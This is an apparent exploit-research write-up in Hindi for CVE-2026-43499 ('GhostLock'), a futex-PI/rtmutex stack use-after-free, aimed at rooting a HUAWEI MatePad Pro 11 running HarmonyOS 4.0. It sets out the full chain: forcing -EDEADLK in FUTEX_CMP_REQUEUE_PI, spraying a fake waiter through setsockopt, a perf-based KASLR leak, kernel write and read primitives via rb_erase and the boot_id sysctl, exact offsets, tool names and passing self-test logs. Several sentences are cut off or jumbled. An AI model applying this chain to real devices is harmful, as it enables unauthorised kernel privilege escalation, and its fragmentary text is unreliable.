
CVE-2026-43499 (GhostLock) HUAWEI MatePad Pro 11 GOT-W29 पर शोध
GOT-W29 (HarmonyOS 4.0, kernel 4.19.157-perf+) पर
CVE-2026-43499 (rtmutex/futex-PI स्टैक UAF, "GhostLock") के प्रिविलेज एस्केलेशन पर शोध।
FUTEX_CMP_REQUEUE_PI को -EDEADLK लौटाने पर मजबूर करती है,
रोलबैक पथ remove_waiter() के current != waiter->task क्लीनअप बग को सक्रिय करता है (इस कर्नेल में
kernel/locking/rtmutex.c:1110-1112, अपस्ट्रीम फिक्स 3bfdc63936dd), waiter का
pi_blocked_on डैंगलिंग हो जाता है (उसके कर्नेल स्टैक E-0x1b0 पर स्थित rt_waiter की ओर इशारा करता है)।kernel.patched, बिना GDB/KPM इंजेक्शन):
EDEADLK डैंगलिंग → setsockopt(SOL_IP, MCAST_BLOCK_SOURCE, group_source_req 0x108)
fake waiter डिलीवर करता है (copy लैंडिंग पॉइंट E-0x210, waiter buf+0x60 पर रखा गया जो ठीक E-0x1b0 को कवर करता है)
→ sched_setattr walk ट्रिगर करता है → rb_erase sysctl_bootid लिखता है, टूल स्व-सत्यापन करता है
write_ok=1 (boot_id के उच्च 8 बाइट = 0xffffff800b412320)।sock_setsockopt के 0x80 फ्रेम को
setsockopt चेन में गिन लिया था। डिसअसेम्बली + QEMU परीक्षण पुष्टि करते हैं कि __arm64_sys_setsockopt
level != SOL_SOCKET के लिए सीधे blr ops->setsockopt करता है, sock_setsockopt से नहीं गुजरता;
सुधार के बाद do_ip_setsockopt कॉपी गहराई = 0x210 (पुराना अनुमान 0x290), ज्यामिति फिट बैठती है।
बहिष्कृत तंत्र: pselect/select, ptrace, import_iovec, ppoll, SCTP (मापा गया 0x158)।--root)। HKIP अंतर: GOT-W29 कर्नेल सिंबल टेबल और इमेज में hkip_*/
hypervisor हुक नहीं हैं, पूरी इमेज में 97 hvc निर्देश भी cred/cap/SELinux पथ पर नहीं हैं
(केवल KVM/SMCCC/डिबग ट्रांसपोर्ट ड्राइवर), यानी mrx का hypervisor xid संरक्षण इस डिवाइस पर
संभवतः मौजूद ही नहीं है——वास्तविक डिवाइस पर सीधे सामान्य root प्रक्रिया अपनाई जा सकती है।| मद | मान |
|---|---|
| मॉडल | HUAWEI MatePad Pro 11 GOT-W29 |
| SoC | Qualcomm kona (SM8250, Snapdragon 870) |
| सिस्टम | HarmonyOS 4.0 (104.0.0.136) |
| कर्नेल | 4.19.157-perf+ (boot.elf डिसअसेम्बली + firmware/symtab.txt) |
| VA | 39-bit, 4K pages, KASLR on |
adb shell या Shizuku दोनों काम करते हैं।pm disable-user com.huawei.powergenie
pm disable-user com.huawei.iaware
तंत्र: PI रिंग बनाएँ (waiter→target→owner→chain→waiter) ताकि
FUTEX_CMP_REQUEUE_PI EDEADLK रोलबैक से गुजरे, रोलबैक में remove_waiter(lock, waiter)
current (requeue थ्रेड) का उपयोग करके सफाई करता है, waiter->task का नहीं:
rt_mutex_dequeue वास्तविक waiter नोड हटा देता है, लेकिन waiter का pi_blocked_on साफ नहीं होता
(current->pi_blocked_on = NULL), जो कर्नेल स्टैक rt_waiter की ओर इशारा करने वाला डैंगलिंग पॉइंटर बन जाता है।
वैल्यू-होल्डिंग रिंग (probe रिंग, मापा गया स्थिर -EDEADLK):
FUTEX_LOCK_PI(chain) chain धारण करता है; FUTEX_WAIT_REQUEUE_PI(wait, 0, target)FUTEX_LOCK_PI(target) target धारण करता है; FUTEX_LOCK_PI(chain) ब्लॉक होता हैFUTEX_CMP_REQUEUE_PI(wait, 1, target) → -EDEADLKWAIT_REQUEUE_PI 2s) के बाद डैंगलिंग pi_blocked_on स्टैक पर बना रहता हैध्यान दें: पुराना "self-own" ट्रिगर, edeadlk_probe variant 11 का -EDEADLK सब
owner==task जल्दी निकलना (rtmutex.c:1035) है, डैंगलिंग पॉइंटर उत्पन्न नहीं करता, अमान्य।
perf_event_paranoid=-1 के अंतर्गत perf_event_open(PERF_SAMPLE_IP, exclude_user=1)
कर्नेल टेक्स्ट क्लस्टर सैंपल करता है, ज्ञात सिंबल ऑफसेट से संरेखित करके slide प्राप्त करें:
samples=27651 kernel_ips=1685 lo=0xffffff948728176c hi=0xffffff9488ebfc7c
KASLR slide=0x147f200000 runtime _stext=0xffffff9487280800
टूल: tools/perf_kaslr.c।
[M] CMP_REQUEUE_PI ret=-1 errno=35 (EDEADLK!)
[W] WAIT_REQUEUE_PI ret=-1 errno=110 (ETIMEDOUT) ← waiter लौटा, pi_blocked_on डैंगलिंग
टूल: tools/edeadlk_probe.c।
rt_mutex_adjust_prio_chain का walk डैंगलिंग pi_blocked_on पर स्थित fake rt_waiter पढ़ता है:
next_lock == waiter->lock (lock = empty_zero_page का स्वतंत्र स्लॉट, नीचे देखें)raw_spin_trylock(&lock->wait_lock) शून्य लॉक पर सफलrt_mutex_dequeue → rb_erase एकल बाएँ-संतान पथ: *(rb_left) = rb_parent_color
→ लिखा गया मान 0xffffff800b412320 (&loggers[0][1]) sysctl_bootid + 8 पर लिखा गयाowner-ful पेज / prepare_skb_payload / kernelsnitch की आवश्यकता नहीं। fake rt_mutex
walk के बीच एक ही स्लॉट का पुनःउपयोग नहीं कर सकता: walk समाप्त होने पर waiters.root/leftmost लॉक में इस waiter की ओर इशारा करते हुए छूट जाते हैं, दूसरे walk में पुराना नोड पढ़ने पर पिछले दौर के मुक्त किए गए कर्नेल स्टैक को डीरेफरेंस करेगा, जिससे
rt_mutex_top_waiter() का BUG_ON(w->lock != lock) ट्रिगर होगा (QEMU मापा गया: --verify-all
का दूसरा टेस्ट सीधे BUG)। कार्यान्वयन में प्रत्येक attempt empty_zero_page + n*0x20
लेता है (कुल 128 स्लॉट, SLIDE_LOCK_STRIDE/SLOTS), स्वाभाविक रूप से पूर्णतः शून्य और एक-दूसरे को प्रदूषित नहीं करते।
QEMU (kernel.patched, nokaslr, --probe-cycle --verify-all) टूल स्व-सत्यापन आउटपुट:
4.483 237 [+] slide write boot_id raw=00000000000000002023410b80ffffff lo=0 hi=ffffff800b412320 exp_lo=0 exp_hi=ffffff800b412320 ok=1
4.547 1 [+] slide write test PASSED
6.583 240 [+] slide leaf boot_id raw=00000000000000002023410b80ffffff lo=0 hi=ffffff800b412320 exp_lo=0 exp_hi=0 ok=1
6.636 1 [+] slide leaf test PASSED
8.671 243 [+] slide read boot_id raw=100000002401000030d74c0b80ffffff lo=0000012400000010 hi=ffffff800b4cd730 exp_lo=0000012400000010 exp_hi=ffffff800b4cd730 ok=1
8.724 1 [+] slide read test PASSED
10.811 1 [+] slide restore test PASSED
10.811 1 [+] slide verify all PASSED
(प्रत्येक attempt का requeue=-1/35 trigger=0/0 wait=-1/110 carrier=-1/22 समान:
EDEADLK, walk सफल, hrtimer टाइमआउट, कैरियर कॉपी सफल होने के बाद ही नकली एड्रेस समूह के कारण EINVAL लौटाता है।)
ध्यान दें कि सत्यापन लक्ष्य boot_id + 8 लिखता है: proc_do_uuid() जब bootid[8] == 0 होता है तो पूरा UUID पुनः उत्पन्न करता है, निम्न 8 बाइट लिखना सत्यापन पढ़त से ही अधिलेखित हो जाएगा (QEMU मापा गया पुष्टि)।
--verify-all पूर्ण कवरेज स्व-जाँच)| आकार | fake waiter tree तीन शब्द | प्रभाव |
|---|---|---|
| pointer (rb_erase Case 2: एकल बायाँ संतान) | pc=value, right=0, left=target | *(target) = value (64-बिट पूर्ण, रंग बिट संरक्षित); दुष्प्रभाव *(value+8) = target, इसलिए value पठनीय होना चाहिए और उसका +8 बलिदान योग्य हो |
| leaf (Case 1: संतान रहित) | pc=target-8, right=0, left=0 | *(target) = 0; केवल एक स्वच्छ लेखन (कोई दुष्प्रभाव नहीं), pc निम्न बिट=0 → RED → rebalance ट्रिगर नहीं होता, लेकिन __rb_change_child एक बार *(target-8) पढ़ेगा |
random_table[4].data (= &sysctl_bootid, link 0xffffff800b4cd730; .rela.dyn में एकमात्र addend=0xffffff800b7f8b64 वाली R_AARCH64_RELATIVE से पुष्ट) को राइट प्रिमिटिव द्वारा लक्ष्य एड्रेस A में बदलने के बाद, /proc/sys/kernel/random/boot_id पढ़ने पर
[A, A+16) लौटता है। ध्यान दें: